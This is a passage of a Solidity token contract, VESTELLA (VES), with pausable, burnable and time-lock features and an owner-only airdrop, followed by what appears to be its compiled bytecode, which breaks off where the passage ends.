/** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract StandardToken { using SafeMath for uint256; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; uint256 internal totalSupply_; event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Total number of tokens in existence */ function totalSupply() public view returns(uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns(uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns(bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns(bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns(bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed account, uint256 value); /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { require(balances[msg.sender] >= value); totalSupply_ = totalSupply_.sub(value); balances[msg.sender] = balances[msg.sender].sub(value); emit Burn(msg.sender, value); emit Transfer(msg.sender, address(0), value); } /** * @dev Burns a specific amount of tokens which belong to appointed address of account. * @param account The address of appointed account. * @param value The amount of token to be burned. */ function burnFrom(address account, uint256 value) public { require(account != address(0)); require(balances[account] >= value); require(allowed[account][msg.sender] >= value); totalSupply_ = totalSupply_.sub(value); balances[account] = balances[account].sub(value); allowed[account][msg.sender] = allowed[account][msg.sender].sub(value); emit Burn(account, value); emit Transfer(account, address(0), value); } } /** * @dev Rewrite the key functions, add the modifier &#39;whenNotPaused&#39;,owner can stop the transaction. */ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns(bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns(bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns(bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns(bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns(bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title VESTELLAToken token contract * @dev Initialize the basic information of VESTELLAToken. */ contract VESTELLAToken is PausableToken, BurnableToken { using SafeMath for uint256; string public constant name = "VESTELLA"; // name of Token string public constant symbol = "VES"; // symbol of Token uint8 public constant decimals = 18; // decimals of Token uint256 constant _INIT_TOTALSUPPLY = 15000000000; mapping (address => uint256[]) internal locktime; mapping (address => uint256[]) internal lockamount; event AddLockPosition(address indexed account, uint256 amount, uint256 time); /** * @dev constructor Initialize the basic information. */ constructor() public { totalSupply_ = _INIT_TOTALSUPPLY * 10 ** uint256(decimals); owner = 0x0F1b590cD3155571C8680B363867e20b8E4303bE; balances[owner] = totalSupply_; } /** * @dev addLockPosition function that only owner can add lock position for appointed address of account. * one address can participate more than one lock position plan. * @param account The address of account will participate lock position plan. * @param amount The array of token amount that will be locked. * @param time The timestamp of token will be released. */ function addLockPosition(address account, uint256[] memory amount, uint256[] memory time) public onlyOwner returns(bool) { require(account != address(0)); require(amount.length == time.length); uint256 _lockamount = 0; for(uint i = 0; i < amount.length; i++) { uint256 _amount = amount[i] * 10 ** uint256(decimals); require(time[i] > now); locktime[account].push(time[i]); lockamount[account].push(_amount); emit AddLockPosition(account, _amount, time[i]); _lockamount = _lockamount.add(_amount); } require(balances[msg.sender] >= _lockamount); balances[account] = balances[account].add(_lockamount); balances[msg.sender] = balances[msg.sender].sub(_lockamount); emit Transfer(msg.sender, account, _lockamount); return true; } /** * @dev getLockPosition function get the detail information of an appointed account. * @param account The address of appointed account. */ function getLockPosition(address account) public view returns(uint256[] memory _locktime, uint256[] memory _lockamount) { return (locktime[account], lockamount[account]); } /** * @dev getLockedAmount function get the amount of locked token which belong to appointed address at the current time. * @param account The address of appointed account. */ function getLockedAmount(address account) public view returns(uint256 _lockedAmount) { uint256 _Amount = 0; uint256 _lockAmount = 0; for(uint i = 0; i < locktime[account].length; i++) { if(now < locktime[account][i]) { _Amount = lockamount[account][i]; _lockAmount = _lockAmount.add(_Amount); } } return _lockAmount; } /** * @dev Rewrite the transfer functions, call the getLockedAmount to validate the balances after transaction is more than lock-amount. */ function transfer( address _to, uint256 _value ) public returns(bool) { require(balances[msg.sender].sub(_value) >= getLockedAmount(msg.sender)); return super.transfer(_to, _value); } /** * @dev Rewrite the transferFrom functions, call the getLockedAmount to validate the balances after transaction is more than lock-amount. */ function transferFrom( address _from, address _to, uint256 _value ) public returns(bool) { require(balances[_from].sub(_value) >= getLockedAmount(_from)); return super.transferFrom(_from, _to, _value); } /** * @dev Rewrite the burn functions, call the getLockedAmount to validate the balances after burning is more than lock-amount. */ function burn(uint256 value) public { require(balances[msg.sender].sub(value) >= getLockedAmount(msg.sender)); super.burn(value); } /** * @dev Rewrite the burnFrom functions, call the getLockedAmount to validate the balances after burning is more than lock-amount. */ function burnFrom(address account, uint256 value) public { require(balances[account].sub(value) >= getLockedAmount(account)); super.burnFrom(account, value); } /** * @dev _batchTransfer internal function for airdropping candy to target address. * @param _to target address * @param _amount amount of token */ function _batchTransfer(address[] memory _to, uint256[] memory _amount) internal whenNotPaused { require(_to.length == _amount.length); uint256 sum = 0; for(uint i = 0;i < _to.length;i += 1){ require(_to[i] != address(0)); sum = sum.add(_amount[i]); require(sum <= balances[msg.sender]); balances[_to[i]] = balances[_to[i]].add(_amount[i]); emit Transfer(msg.sender, _to[i], _amount[i]); } balances[msg.sender] = balances[msg.sender].sub(sum); } /** * @dev airdrop function for airdropping candy to target address. * @param _to target address * @param _amount amount of token */ function airdrop(address[] memory _to, uint256[] memory _amount) public onlyOwner returns(bool){ _batchTransfer(_to, _amount); return true; } }
0x608060405260043610610122576000357c01000000000000000000000000000000000000000000000000000000009004806306fdde0314610127578063095ea7b3146101b757806318160ddd1461022a578063200561ab1461025557806323b872dd146103e6578063313ce567146104795780633f4ba83a146104aa57806342966c68146104c15780635c975abb146104fc578063661884631461052b578063672434821461059e57806370a082311461070f57806379cc6790146107745780638456cb59146107cf5780638da5cb5b146107e6578063929ec5371461083d57806395d89b41146108a2578063a9059cbb14610932578063d2e01b2f146109a5578063d73dd62314610a93578063dd62ed3e14610b06578063f2fde38b14610b8b575b600080fd5b34801561013357600080fd5b5061013c610bdc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017c578082015181840152602081019050610161565b50505050905090810190601f1680156101a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c357600080fd5b50610210600480360360408110156101da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c15565b604051808215151515815260200191505060405180910390f35b34801561023657600080fd5b5061023f610c45565b6040518082815260200191505060405180910390f35b34801561026157600080fd5b506103cc6004803603606081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156102b557600080fd5b8201836020820111156102c757600080fd5b803590602001918460208302840111640100000000831117156102e957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561034957600080fd5b82018360208201111561035b57600080fd5b8035906020019184602083028401116401000000008311171561037d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610c4f565b604051808215151515815260200191505060405180910390f35b3480156103f257600080fd5b5061045f6004803603606081101561040957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b5565b604051808215151515815260200191505060405180910390f35b34801561048557600080fd5b5061048e611132565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104b657600080fd5b506104bf611137565b005b3480156104cd57600080fd5b506104fa600480360360208110156104e457600080fd5b81019080803590602001909291905050506111f7565b005b34801561050857600080fd5b5061051161126a565b604051808215151515815260200191505060405180910390f35b34801561053757600080fd5b506105846004803603604081101561054e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061127d565b604051808215151515815260200191505060405180910390f35b3480156105aa57600080fd5b506106f5600480360360408110156105c157600080fd5b81019080803590602001906401000000008111156105de57600080fd5b8201836020820111156105f057600080fd5b8035906020019184602083028401116401000000008311171561061257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561067257600080fd5b82018360208201111561068457600080fd5b803590602001918460208302840111640100000000831117156106a657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506112ad565b604051808215151515815260200191505060405180910390f35b34801561071b57600080fd5b5061075e6004803603602081101561073257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061131f565b6040518082815260200191505060405180910390f35b34801561078057600080fd5b506107cd6004803603604081101561079757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611367565b005b3480156107db57600080fd5b506107e46113dc565b005b3480156107f257600080fd5b506107fb61149d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561084957600080fd5b5061088c6004803603602081101561086057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114c3565b6040518082815260200191505060405180910390f35b3480156108ae57600080fd5b506108b7611604565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108f75780820151818401526020810190506108dc565b50505050905090810190601f1680156109245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561093e57600080fd5b5061098b6004803603604081101561095557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061163d565b604051808215151515815260200191505060405180910390f35b3480156109b157600080fd5b506109f4600480360360208110156109c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b8565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610a3b578082015181840152602081019050610a20565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015610a7d578082015181840152602081019050610a62565b5050505090500194505050505060405180910390f35b348015610a9f57600080fd5b50610aec60048036036040811015610ab657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117e6565b604051808215151515815260200191505060405180910390f35b348015610b1257600080fd5b50610b7560048036036040811015610b2957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611816565b6040518082815260200191505060405180910390f35b348015610b9757600080fd5b50610bda60048036036020811015610bae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061189d565b005b6040805190810160405280600881526020017f56455354454c4c4100000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610c3357600080fd5b610c3d8383611905565b905092915050565b6000600254905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cad57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610ce957600080fd5b81518351141515610cf957600080fd5b600080905060008090505b8451811015610ed0576000601260ff16600a0a8683815181101515610d2557fe5b90602001906020020151029050428583815181101515610d4157fe5b90602001906020020151111515610d5757600080fd5b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208583815181101515610da457fe5b906020019060200201519080600181540180825580915050906001820390600052602060002001600090919290919091505550600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190806001815401808255809150509060018203906000526020600020016000909192909190915055508673ffffffffffffffffffffffffffffffffffffffff167f811e0455b6088b01b1b7a83894b0ac1c8d0ba48c5610d7002b3aa81fdf388735828785815181101515610e8757fe5b90602001906020020151604051808381526020018281526020019250505060405180910390a2610ec081846119f790919063ffffffff16565b9250508080600101915050610d04565b50806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610f1e57600080fd5b610f6f816000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f790919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611002816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150509392505050565b60006110c0846114c3565b611111836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b1015151561111e57600080fd5b611129848484611a51565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119357600080fd5b600360149054906101000a900460ff1615156111ae57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b611200336114c3565b611251826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b1015151561125e57600080fd5b61126781611a83565b50565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561129b57600080fd5b6112a58383611c35565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561130b57600080fd5b6113158383611ec7565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611370826114c3565b6113c1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b101515156113ce57600080fd5b6113d882826121e2565b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143857600080fd5b600360149054906101000a900460ff1615151561145457600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009050600080905060008090505b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156115f957600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110151561156b57fe5b90600052602060002001544210156115ec57600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811015156115c957fe5b906000526020600020015492506115e983836119f790919063ffffffff16565b91505b80806001019150506114d5565b508092505050919050565b6040805190810160405280600381526020017f564553000000000000000000000000000000000000000000000000000000000081525081565b6000611648336114c3565b611699836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b101515156116a657600080fd5b6116b0838361256b565b905092915050565b606080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208180548060200260200160405190810160405280929190818152602001828054801561178457602002820191906000526020600020905b815481526020019060010190808311611770575b50505050509150808054806020026020016040519081016040528092919081815260200182805480156117d657602002820191906000526020600020905b8154815260200190600101908083116117c2575b5050505050905091509150915091565b6000600360149054906101000a900460ff1615151561180457600080fd5b61180e838361259b565b905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f957600080fd5b61190281612797565b50565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600081837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0310151515611a2a57600080fd5b818301905092915050565b6000828211151515611a4657600080fd5b818303905092915050565b6000600360149054906101000a900460ff16151515611a6f57600080fd5b611a7a848484612893565b90509392505050565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611ad057600080fd5b611ae581600254611a3590919063ffffffff16565b600281905550611b3c816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515611d47576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ddb565b611d5a8382611a3590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600360149054906101000a900460ff16151515611ee357600080fd5b80518251141515611ef357600080fd5b600080905060008090505b835181101561214957600073ffffffffffffffffffffffffffffffffffffffff168482815181101515611f2d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611f5a57600080fd5b611f848382815181101515611f6b57fe5b90602001906020020151836119f790919063ffffffff16565b91506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611fd357600080fd5b6120528382815181101515611fe457fe5b906020019060200201516000808785815181101515611fff57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f790919063ffffffff16565b600080868481518110151561206357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083818151811015156120b957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858481518110151561211f57fe5b906020019060200201516040518082815260200191505060405180910390a3600181019050611efe565b5061219b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561221e57600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561226b57600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156122f657600080fd5b61230b81600254611a3590919063ffffffff16565b600281905550612362816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061243381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600360149054906101000a900460ff1615151561258957600080fd5b6125938383612c4d565b905092915050565b600061262c82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156127d357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156128d057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561291d57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156129a857600080fd5b6129f9826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a8c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b5d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612c8a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612cd757600080fd5b612d28826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dbb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11